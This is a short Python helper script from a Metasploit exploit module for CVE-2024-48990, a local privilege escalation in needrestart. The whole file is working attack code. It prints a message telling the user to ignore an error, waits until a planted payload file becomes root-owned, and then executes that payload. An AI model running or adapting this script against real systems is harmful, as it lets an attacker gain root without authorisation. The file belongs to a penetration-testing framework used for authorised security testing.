Files
metasploit-gs/data/exploits/CVE-2024-48990/sleeper.py
T
2024-11-27 15:41:23 -05:00

17 lines
469 B
Python

import os
import time
import pwd
print("#########################\n\nDont mind the error message above\n\nWaiting for needrestart to run...")
while True:
try:
file_stat = os.stat('PAYLOAD_PATH')
except FileNotFoundError:
exit()
username = pwd.getpwuid(file_stat.st_uid).pw_name
#print(f"Payload owned by: {username}. Stats: {file_stat}")
if (username == 'root'):
os.system('PAYLOAD_PATH &')
exit()
time.sleep(1)